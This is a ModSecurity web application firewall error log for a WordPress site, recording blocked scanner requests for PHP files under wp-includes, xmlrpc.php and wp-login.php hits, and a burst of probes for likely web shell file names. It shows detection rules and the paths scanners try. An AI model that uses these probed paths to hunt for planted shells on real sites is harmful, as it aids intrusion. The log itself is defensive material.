[Tue Mar 24 11:53:24.592617 2026] [:error] [pid 48219:tid 48290] [client 45.133.5.43:43709] [client 45.133.5.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/test.php"] [unique_id "acIKtChf3b4R_lAIyv8JUAAAAgk"]
[Tue Mar 24 11:53:24.659359 2026] [:error] [pid 48219:tid 48283] [client 45.133.5.43:23699] [client 45.133.5.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/providers/ultra.php"] [unique_id "acIKtChf3b4R_lAIyv8JUQAAAgI"]
[Tue Mar 24 11:53:24.837017 2026] [:error] [pid 48219:tid 48292] [client 45.133.5.10:59557] [client 45.133.5.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-patterns/themes.php"] [unique_id "acIKtChf3b4R_lAIyv8JVgAAAgs"]
[Tue Mar 24 11:53:24.892195 2026] [:error] [pid 64198:tid 64211] [client 45.133.5.25:36471] [client 45.133.5.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/site-title/index.php"] [unique_id "acIKtHVzJqf6OS_oSZ24OgAAAUs"]
[Tue Mar 24 11:53:24.943540 2026] [:error] [pid 38767:tid 38776] [client 45.133.5.22:53875] [client 45.133.5.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-includes/admin-bar.php"] [unique_id "acIKtPwkUqN4GJAI5oUmBwAAAQY"]
[Tue Mar 24 11:53:25.188437 2026] [:error] [pid 38767:tid 38775] [client 45.133.5.44:62901] [client 45.133.5.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/plugins.php"] [unique_id "acIKtfwkUqN4GJAI5oUmDQAAAQU"]
[Tue Mar 24 11:53:25.268184 2026] [:error] [pid 38767:tid 38781] [client 45.133.5.32:44369] [client 45.133.5.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/pomo.php"] [unique_id "acIKtfwkUqN4GJAI5oUmDwAAAQs"]
[Tue Mar 24 11:53:25.328042 2026] [:error] [pid 3032:tid 3118] [client 45.133.5.31:40349] [client 45.133.5.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Cache/index.php"] [unique_id "acIKtSa_-JXXD03-JNwPJQAAAI8"]
[Tue Mar 24 12:41:41.228591 2026] [:error] [pid 48219:tid 48284] [client 122.177.210.115:12456] [client 122.177.210.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.177.210.115, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "acIWBShf3b4R_lAIyv8WewAAAgM"]
[Tue Mar 24 13:23:49.568474 2026] [:error] [pid 3031:tid 3087] [client 1.15.52.154:44566] [client 1.15.52.154] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "acIf5aJBKytnG47nuiYWwAAAAEs"]
[Tue Mar 24 18:45:42.210040 2026] [:error] [pid 64198:tid 64218] [client 125.94.144.102:34113] [client 125.94.144.102] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "acJrVnVzJqf6OS_oSZ2LFAAAAVI"]
[Tue Mar 24 19:33:07.540719 2026] [:error] [pid 48219:tid 48295] [client 49.51.180.2:33290] [client 49.51.180.2] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "acJ2cyhf3b4R_lAIyv92IAAAAg4"]
[Tue Mar 24 19:44:43.540481 2026] [:error] [pid 3137:tid 3140] [client 194.187.251.201:63649] [client 194.187.251.201] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.187.251.201, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "acJ5K5dZesutm6dfYM8lmQAAAME"]
[Tue Mar 24 22:44:02.442854 2026] [:error] [pid 3137:tid 3157] [client 103.21.164.246:58434] [client 103.21.164.246] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.21.164.246, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "acKjMpdZesutm6dfYM9ZOgAAANI"]
[Tue Mar 24 23:08:48.751209 2026] [:error] [pid 64198:tid 64209] [client 103.250.109.226:56065] [client 103.250.109.226] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.250.109.226, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "acKpAHVzJqf6OS_oSZ3qWAAAAUk"]
[Tue Mar 24 23:42:04.046562 2026] [:error] [pid 48214:tid 48274] [client 4.223.157.92:8029] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/buc.php"] [unique_id "acKwzLeshLWZ3uUDHKmL7AAAAdY"]
[Tue Mar 24 23:42:04.624737 2026] [:error] [pid 48219:tid 48282] [client 4.223.157.92:7965] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/buc.php"] [unique_id "acKwzChf3b4R_lAIyv-onwAAAgE"]
[Tue Mar 24 23:42:05.171922 2026] [:error] [pid 3137:tid 3149] [client 4.223.157.92:8055] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/buc.php"] [unique_id "acKwzZdZesutm6dfYM9yuAAAAMo"]
[Tue Mar 24 23:42:05.702671 2026] [:error] [pid 3137:tid 3157] [client 4.223.157.92:8000] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/buc.php"] [unique_id "acKwzZdZesutm6dfYM9yvgAAANI"]
[Tue Mar 24 23:42:06.243106 2026] [:error] [pid 3032:tid 3116] [client 4.223.157.92:8021] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ww.php"] [unique_id "acKwzia_-JXXD03-JNxuvAAAAI0"]
[Tue Mar 24 23:42:06.790805 2026] [:error] [pid 3030:tid 3057] [client 4.223.157.92:8061] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ww.php"] [unique_id "acKwzgyOuILyynfcqflzoQAAAAg"]
[Tue Mar 24 23:42:07.337677 2026] [:error] [pid 64198:tid 64211] [client 4.223.157.92:8045] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ww.php"] [unique_id "acKwz3VzJqf6OS_oSZ306QAAAUs"]
[Tue Mar 24 23:42:08.474290 2026] [:error] [pid 48219:tid 48292] [client 4.223.157.92:8025] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ww.php"] [unique_id "acKw0Chf3b4R_lAIyv-opQAAAgs"]
[Tue Mar 24 23:42:09.033771 2026] [:error] [pid 48214:tid 48262] [client 4.223.157.92:8010] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rithin.php"] [unique_id "acKw0beshLWZ3uUDHKmL7gAAAco"]
[Tue Mar 24 23:42:09.654981 2026] [:error] [pid 64198:tid 64215] [client 4.223.157.92:7950] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rithin.php"] [unique_id "acKw0XVzJqf6OS_oSZ308AAAAU8"]
[Tue Mar 24 23:42:10.182283 2026] [:error] [pid 3137:tid 3149] [client 4.223.157.92:8024] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rithin.php"] [unique_id "acKw0pdZesutm6dfYM9yxAAAAMo"]
[Tue Mar 24 23:42:10.721531 2026] [:error] [pid 3137:tid 3155] [client 4.223.157.92:7956] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rithin.php"] [unique_id "acKw0pdZesutm6dfYM9yxwAAANA"]
[Tue Mar 24 23:42:11.297441 2026] [:error] [pid 38767:tid 38780] [client 4.223.157.92:7945] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "acKw0_wkUqN4GJAI5oWCFwAAAQo"]
[Tue Mar 24 23:42:11.826366 2026] [:error] [pid 64198:tid 64213] [client 4.223.157.92:8028] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "acKw03VzJqf6OS_oSZ309AAAAU0"]
[Tue Mar 24 23:42:12.373900 2026] [:error] [pid 3032:tid 3104] [client 4.223.157.92:8050] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "acKw1Ca_-JXXD03-JNxuwgAAAIE"]
[Tue Mar 24 23:42:13.011486 2026] [:error] [pid 38767:tid 38793] [client 4.223.157.92:8052] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "acKw1fwkUqN4GJAI5oWCGQAAARc"]
[Tue Mar 24 23:42:14.552604 2026] [:error] [pid 3137:tid 3159] [client 4.223.157.92:7944] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xfun.php"] [unique_id "acKw1pdZesutm6dfYM9y0gAAANQ"]
[Tue Mar 24 23:42:15.097645 2026] [:error] [pid 64198:tid 64210] [client 4.223.157.92:8047] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xfun.php"] [unique_id "acKw13VzJqf6OS_oSZ30-QAAAUo"]
[Tue Mar 24 23:42:18.121723 2026] [:error] [pid 3137:tid 3148] [client 4.223.157.92:7951] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xfun.php"] [unique_id "acKw2pdZesutm6dfYM9y2wAAAMk"]
[Tue Mar 24 23:42:18.669316 2026] [:error] [pid 48219:tid 48288] [client 4.223.157.92:8017] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xfun.php"] [unique_id "acKw2ihf3b4R_lAIyv-oqQAAAgc"]
[Tue Mar 24 23:42:19.209357 2026] [:error] [pid 48219:tid 48291] [client 4.223.157.92:8034] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws88.php"] [unique_id "acKw2yhf3b4R_lAIyv-oqwAAAgo"]
[Tue Mar 24 23:42:19.763671 2026] [:error] [pid 3137:tid 3160] [client 4.223.157.92:7982] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws88.php"] [unique_id "acKw25dZesutm6dfYM9y4gAAANU"]
[Tue Mar 24 23:42:20.299139 2026] [:error] [pid 38767:tid 38774] [client 4.223.157.92:8019] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws88.php"] [unique_id "acKw3PwkUqN4GJAI5oWCIAAAAQQ"]
[Tue Mar 24 23:42:23.389710 2026] [:error] [pid 48219:tid 48287] [client 4.223.157.92:8026] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws88.php"] [unique_id "acKw3yhf3b4R_lAIyv-otgAAAgY"]
[Tue Mar 24 23:42:23.936553 2026] [:error] [pid 3137:tid 3140] [client 4.223.157.92:7936] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws86.php"] [unique_id "acKw35dZesutm6dfYM9y6wAAAME"]
[Tue Mar 24 23:42:24.512890 2026] [:error] [pid 3032:tid 3110] [client 4.223.157.92:8041] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws86.php"] [unique_id "acKw4Ca_-JXXD03-JNxuywAAAIc"]
[Tue Mar 24 23:42:25.061866 2026] [:error] [pid 3137:tid 3147] [client 4.223.157.92:7942] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws86.php"] [unique_id "acKw4ZdZesutm6dfYM9y7QAAAMg"]
[Tue Mar 24 23:42:25.600513 2026] [:error] [pid 38767:tid 38773] [client 4.223.157.92:8014] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws86.php"] [unique_id "acKw4fwkUqN4GJAI5oWCJgAAAQM"]
[Tue Mar 24 23:42:27.215225 2026] [:error] [pid 3137:tid 3153] [client 4.223.157.92:7968] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws85.php"] [unique_id "acKw45dZesutm6dfYM9y8wAAAM4"]
[Tue Mar 24 23:42:27.768214 2026] [:error] [pid 3137:tid 3155] [client 4.223.157.92:8006] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws85.php"] [unique_id "acKw45dZesutm6dfYM9y9wAAANA"]
[Tue Mar 24 23:42:28.974923 2026] [:error] [pid 64198:tid 64200] [client 4.223.157.92:8056] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws85.php"] [unique_id "acKw5HVzJqf6OS_oSZ31GwAAAUA"]
[Tue Mar 24 23:42:29.527056 2026] [:error] [pid 38767:tid 38782] [client 4.223.157.92:8053] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws85.php"] [unique_id "acKw5fwkUqN4GJAI5oWCLgAAAQw"]
[Tue Mar 24 23:42:32.258396 2026] [:error] [pid 64198:tid 64200] [client 4.223.157.92:8040] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Cap.php"] [unique_id "acKw6HVzJqf6OS_oSZ31LAAAAUA"]
[Tue Mar 24 23:42:32.800667 2026] [:error] [pid 64198:tid 64211] [client 4.223.157.92:7966] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Cap.php"] [unique_id "acKw6HVzJqf6OS_oSZ31LwAAAUs"]
[Tue Mar 24 23:42:33.426531 2026] [:error] [pid 64198:tid 64222] [client 4.223.157.92:8036] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Cap.php"] [unique_id "acKw6XVzJqf6OS_oSZ31MwAAAVY"]
[Tue Mar 24 23:42:33.978763 2026] [:error] [pid 38767:tid 38775] [client 4.223.157.92:7990] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Cap.php"] [unique_id "acKw6fwkUqN4GJAI5oWCOAAAAQU"]
[Tue Mar 24 23:42:34.514312 2026] [:error] [pid 38767:tid 38789] [client 4.223.157.92:8001] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h2.php"] [unique_id "acKw6vwkUqN4GJAI5oWCOgAAARM"]
[Tue Mar 24 23:42:35.047832 2026] [:error] [pid 38767:tid 38782] [client 4.223.157.92:7981] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h2.php"] [unique_id "acKw6_wkUqN4GJAI5oWCPAAAAQw"]
[Tue Mar 24 23:42:35.641092 2026] [:error] [pid 38767:tid 38787] [client 4.223.157.92:7962] [client 4.223.157.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h2.php"] [unique_id "acKw6_wkUqN4GJAI5oWCPgAAARE"]
